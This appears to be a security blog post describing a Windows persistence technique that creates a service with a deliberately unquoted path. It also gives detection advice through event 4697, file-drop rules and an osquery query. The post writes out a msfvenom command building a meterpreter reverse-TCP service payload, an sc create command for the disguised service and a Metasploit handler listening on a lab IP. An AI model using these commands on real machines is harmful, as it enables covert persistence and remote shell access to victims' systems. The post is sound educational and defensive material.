Unquoted Service Paths is a widely known technique to perform privilege escalation on Windows machines – but one can also leveraged it to establish stealthy persistence by creating new services purposely vulnerable to this flaw.
Unquoted Service Paths 101
We won’t go into too much detail, you can refer to this article on ired.team if needed – just know that unquoted service paths is a flaw certain services are vulnerable to when they haven’t been created properly. If we create a service with an unquoted path pointing to C:\Program Files\Mozilla Firefox\updater.exe, Windows doesn’t know which part is the executable and which is the arguments, so it will try to execute the following, in this order:
Binary | Command-line arguments |
C:\Program.exe | Files\Mozilla Firefox\Updater.exe |
C:\Program Files\Mozilla.exe | Firefox\Updater.exe |
C:\Program Files\Mozilla Firefox\Updater.exe |
If one of the directories in the directory tree is writable, unquoted service paths are a great vector for privilege escalation – an attacker only needs to drop an executable to the proper location, and it will get executed with SYSTEM rights.
T1050: New Service
Another and unrelated technique, T1050 in ATT&CK, consists in creating a new service for persistence. This requires local administrator rights on the machine but has been used quite a lot by various threat actors including FIN7 or the Lazarus Group as well as commodity malware such as Emotet or Ursnif.
Unfortunately from an attacker’s perspective, registering a new service is not exactly stealthy and is logged by Windows built-in event 4697 which is often forwarded to a SIEM, where it will get flagged immediately:
In this case, the blue team would most likely pull %TEMP%\update.exe from the machine for analysis, and it’s game over.
New service with unquoted path
It turns out we can combine both techniques in order to have a stealthier persistence technique. The plan is as follows:
- Find a legitimate binary on the system whose path contains at least a space, such as C:\Program Files\Mozilla Firefox\updater.exe
- Create a new service with an unquoted path pointing to this binary
- Drop C:\Program Files\Mozilla.exe
First, we generate our malicious service payload using for instance msfvenom:
msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=192.168.56.101 LPORT=4444 -a x64 -f exe-service -o Mozilla.exe
Then, we copy it via any mean to C:\Program Files\Mozilla.exe to the machine we want to establish persistence on, and create a service with an unquoted path:
sc create "Firefox Updater" binpath= "C:\Program Files\Mozilla Firefox\updater.exe" \ start= "auto"
We prepare a Metasploit handler:
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.56.101 msf5 exploit(multi/handler) > set LPORT 4444 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.56.101:4444
And the next time the machine is started…
Detection
So, where do we stand detection-wise? Our service creation generated the following Windows event 4697:
In the worst case, the SOC analyst looking at this event will consider the service suspicious, pull the binary it points to, and conclude it is legitimate (since it is). In most cases, I would simply expect it to fly under the radar.
So, what detection can we build around this technique? First, we can build a detection rule triggering when an EXE file is dropped under C:\Program Files, C:\Program Files (x86) or directly under C:\. While not fail-proof, it might allow us to detect the exploitation of unquoted service paths vulnerabilities, no matter whether it is for persistence or privilege escalation. If you use osquery (or plan to), you can run a simple query to identify vulnerable services as well. You could, for instance, run it every day against all your machines and raise an alert when it identifies new results.
osquery> SELECT name, path FROM services WHERE path LIKE "% %" AND path LIKE "%.exe"; +-----------------+----------------------------------------------+ | name | path | +-----------------+----------------------------------------------+ | Firefox Updater | C:\Program Files\Mozilla Firefox\updater.exe | +-----------------+----------------------------------------------+
Conclusion
Creating services purposely vulnerable to path interception can be a good way to establish persistence on a machine in a relatively stealthy manner. However, keep in mind that it requires local administrator rights and dropping an EXE file to disk, which might not be desirable. This technique is far from being ideal but I found the idea interesting and did not manage to find any similar reference, so I figured it would be a good opportunity for quick blog post.
If you have ever seen a comparable technique used in the wild or used it yourself, do ping me on Twitter @christophetd! Same applies if you have comments, or just want to say hi. 🙂
Thank you for reading!